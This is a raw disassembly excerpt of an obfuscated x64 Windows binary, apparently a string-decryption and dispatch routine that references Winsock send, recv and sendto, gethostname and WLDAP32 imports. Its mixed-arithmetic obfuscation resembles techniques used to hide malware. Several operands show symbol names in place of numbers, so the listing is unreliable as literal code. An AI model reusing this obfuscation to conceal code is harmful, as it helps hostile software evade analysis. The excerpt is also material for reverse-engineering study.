sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4d
jmp 0x140086fa0
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3f
jmp 0x140086f30
movabs rcx, 0xa35b9611dea725f9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x31
movabs rcx, 0x8d8936353a89c57f
jmp 0x140086ebe
movabs rcx, 0xc6f92683f556105a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
inc r9
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rdx, 0xabe6ba198042855c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rdx, 0x90d44daf0b2efa5e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400879e0
movabs rdx, 0x75c1e144961b6f60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087a05
movabs rdx, 0x5aaf74da2107e462
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rdx, 0x3f9d086fabf45964
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087a49
movabs rdx, 0x248a9c0536e0ce66
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087aa6
movabs rdx, 0x9782f9ac1cd4368
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087af8
movabs rcx, 0x2ab7b4262808dcef
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x77
cmp r9, 5
jb 0x14008785b
movabs rcx, 0x64ab993552e4b09a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x6c]
jmp 0x140087988
movabs rcx, 0xfa547bbb2f551f1
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x69
cmp r8, 0x200
jae 0x140087875
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x140087754
movabs rdx, 0x55f35d0cc02142ae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400872fe
movabs rcx, 0xf492db513de1c6f3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5b
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400878a4
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400876b1
movabs rcx, 0xb9b1eaaef2d40f43
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2b
jmp 0x14008734b
movabs rdx, 0x8e7641c85abba984
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087aa6
movabs rdx, 0x7363d55de5a81e86
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140087a49
movabs rdx, 0x585168f370949388
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rdx, 0x3d3efc88fb81088a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087a05
movabs rdx, 0x222c901e866d7d8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400879e0
movabs rdx, 0x71a23b41159f28e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rdx, 0xec07b7499c466790
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rdx, 0xd0f54adf2732dc92
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087988
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x140087598
movabs rcx, 0x8d8936353a89c57f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x79
jmp 0x1400873ab
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400875cd
movabs rdx, 0x3882e4bb9a9a66d6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087af8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140087602
movabs rdx, 0x6ea7bd9084c17cd2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087a49
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140087637
movabs rdx, 0xa4cc96656ee892ce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087a05
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008766c
movabs rdx, 0xbfdf02cfe3fc1dcc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400879e0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400873ab
movabs rdx, 0xdaf16f3a590fa8ca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400876e1
movabs rcx, 0xd4c4571967e79a41
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x39
jmp 0x140087988
inc rax
cmp r8, rax
jne 0x140087720
movabs rcx, 0xae92fee520eb03d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x55
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008734b
movabs rdx, 0x7732e198265cdc35
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x73
add r11b, dl
jmp 0x140087a49
jne 0x140087782
movabs rdx, 0x7105c9773534cdac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087af8
inc rax
cmp r8, rax
jne 0x1400877b6
movabs rdx, 0x8c1835e1aa4858aa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087aa6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400877eb
movabs rdx, 0xa72aa24c1f5be3a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140087a49
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008782b
movabs rcx, 0x137453f5f3aa0fa0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400872fe
movabs rcx, 0x49992ccaddd1259c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140087988
mov byte [rbp + rdi + 0xe38], r11b
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rdx, 0x7fbe059fc7f83b98
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xe38]
sub r11b, al
sub r11b, 0x28
add r11b, dl
add r11b, bl
jmp 0x1400879e0
movabs rcx, 0x9ad0720a3d0bc696
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xe38]
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x140087a49
movabs rcx, 0x8fe7421beafd1659
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6f
jmp 0x140087af8
movabs rcx, 0x74d4d5b175e98b5b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7d
jmp 0x140087aa6
movabs rcx, 0xed78b79d2c87d465
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3d
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rcx, 0xb753dec84260be69
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x21
jmp 0x140087988
movabs rcx, 0x812f05f35839a86d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 5
movabs rcx, 0xf234cf6a8d6e7619
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x51
add bl, cl
mov byte [rbp + rdi + 0xe38], bl
inc r9
dec rdi
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rcx, 0x2ff7c0b3f8ff0773
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x25
movabs rcx, 0xd473bd502820117
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x5f
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0xe38], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
mov rbx, r10
movabs rcx, 0xdec07b7499c46679
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4f
movabs rdx, 0x2859a83f77958c15
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x6d
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xe38], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140087aa6
movabs rdx, 0xc3ae0f0a24b0db7b
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5d
add r11b, dl
movzx ebx, r10b
movabs rcx, 0xb5e2de74b21f5194
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xc
add cl, bl
mov byte [rbp + rdi + 0xe38], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x140087af8
movabs rcx, 0xa89ba29faf9d507d
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6b
movzx eax, byte [rbp + rdi + 0xe38]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0xbe6e027c53bab0f7
jmp 0x140086ea2
movabs rcx, 0x884929a769939afb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x23
jmp 0x140086e9e
movabs rcx, 0x6d36bd3cf4800ffd
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x15
jmp 0x140086e8d
lea rcx, [rbp + 0x150bf8c]
jmp 0x140087b7d
lea rcx, [rbp + 0x11a850b]
jmp 0x140087b7d
lea rcx, [rbp + 0xe38]
mov dword [rbp + 0x1048], 0x64
mov dword [rbp + 0x1000], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x1048]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1000]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xe60], 0xf5
mov byte [rbp + 0xe61], Ordinal_50
mov byte [rbp + 0xe62], 0xfa
mov byte [rbp + 0xe63], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xe64], 0x58
mov byte [rbp + 0xe65], 0x58
mov byte [rbp + 0xe66], Ordinal_79
mov byte [rbp + 0xe67], 0x54
mov byte [rbp + 0xe68], 0xe0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe69], xmm0
mov qword [rbp + 0xe79], rax
mov word [rbp + 0xe81], ax
movabs rsi, 0x4ecbd2e3e010066c
movabs r13, 0x6546a884c186dbbc
movabs r14, 0xfd5d801514394f14
movabs r15, 0x32d02f0b912b979c
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140088aa1
movzx ebx, byte [rbp + rdi + 0xe60]
mov r10, rbx
cmp r8, rdi
ja 0x140088a95
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140087caa
lea rcx, [rdi + r13]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x24
jmp 0x140087cf0
je 0x140088a08
inc rax
cmp r8, rax
je 0x14008896c
lea rax, [r9 + 4]
cmp r8, rax
je 0x140088931
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400888e0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400888b7
lea rax, [r9 + 8]
cmp r8, rax
je 0x140088864
cmp r9, rdi
ja 0x140088a89
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140087d25
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140087d60
lea rax, [r9 + 1]
cmp r8, rax
je 0x140088841
inc rax
cmp r8, rax
je 0x140088813
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400887f0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400887b8
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400883af
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x140088388
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140088357
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008832e
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008831f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400882f7
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400882bf
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008829c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140088279
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140088240
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140087d70
lea r8, [r9 + 6]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140088a66
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140088a3e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140087f57
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140087f3d
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140087f1e
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400881da
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14008817d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140088131
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400880fe
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140087d70
lea r8, [r9 + 0x40]
lea r9, [r8 + 8]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400880ca
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400880a2
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008807a
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140088047
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140088024
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140087ffc
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140087fd3
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140087fa7
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140087f7f
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140087d70
lea r8, [r9 + 4]
lea r9, [r8 + 0x42]
jmp 0x140087d70
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140087d60
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140087cf0
movabs rdx, 0x6842de020e1de024
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140087c74
movabs rdx, 0x765e971f00803360
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140088887
movabs rcx, 0xabd146157d727be8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
inc r9
dec rdi
inc rdi
jmp 0x140087c62
movabs rcx, 0xe143f50bfa64c470
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
dec rdi
inc rdi
jmp 0x140087c62
movabs rdx, 0x16b6a40277570cf8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140088903
movabs rcx, 0x4c2952f8f4495580
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x140088954
movabs rcx, 0x819c01ef713b9e08
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140087c62
movabs rdx, 0xb70eb0e5ee2de690
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140088993
movabs rdx, 0xec815fdc6b202f18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400889c4
movabs rcx, 0x21f40ed2e81277a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140087c62
movabs rdx, 0x2792c43b20702cf4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xe60], r11b
inc rdi
jmp 0x140087c62
movabs rcx, 0x5d0573319d62757c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
cmp r9, 0x28
jb 0x140088121
movabs rdx, 0x5a2724e51bbb8ce8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140088887
movabs rcx, 0x927822281a54be04
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
cmp r8, 5
jae 0x140088758
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14008861c
movabs rdx, 0x70a1fa85fd326238
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008814f
movabs rdx, 0xc7ead11e9747068c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x140088788
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400884e7
movabs rdx, 0x21d627a21d225bcc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008819b
movabs rdx, 0xd8c6f15740602688
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140087c62
movabs rcx, 0xe39a04dbd526f10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x1400889c4
movabs rcx, 0x43ac4f443a44b798
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140088993
movabs rdx, 0x791efe3ab7370020
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140087c62
movabs rdx, 0xae91ad31342948a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140088954
movabs rcx, 0xe4045c27b11b9130
jmp 0x140088463
movabs rcx, 0x19770b1e2e0dd9b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
dec rdi
inc rdi
jmp 0x140087c62
movabs rdx, 0x4ee9ba14ab002240
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140087c62
movabs rdx, 0x845c690b27f26ac8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x140088887
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400883d6
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1400881fd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008841c
movabs rdx, 0x9d97a5c7c0200cd8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140087c62
inc rax
cmp r8, rax
jne 0x14008844c
movabs rdx, 0x32b247dac63b7bc8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
jmp 0x140088990
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008847c
movabs rcx, 0x925a3af74f64a230
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x140088903
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400884b7
movabs rdx, 0x5ce78c00d27259a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140087c62
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400881fd
movabs rcx, 0xf2022e13d88dc898
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140088887
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088508
movabs rdx, 0xec6378aba0301344
mov ecx, reloc.WS2_32.dll_select
jmp 0x140088873
inc rax
cmp r8, rax
jne 0x14008853d
movabs rcx, 0x817e1abea64b8234
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
dec rdi
inc rdi
jmp 0x140087c62
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140088572
movabs rdx, 0x1698bcd1ac66f124
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140088954
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400885b2
movabs rcx, 0xe1260ddb2f74a89c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140087c62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400885e7
movabs rdx, 0xabb35ee4b2826014
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140088993
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008819b
movabs rdx, 0x7640afee3590178c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400889c4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088662
movabs rdx, 0x3b2f4b8f804019b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140087c62
inc rax
cmp r8, rax
jne 0x140088691
movabs rcx, 0x5bc9c99034dd128
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1400889c4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400886c2
movabs rdx, 0xd049eda2865b88a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
jmp 0x140088990
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400886f2
movabs rcx, 0x2ff1e0bf0f84af08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
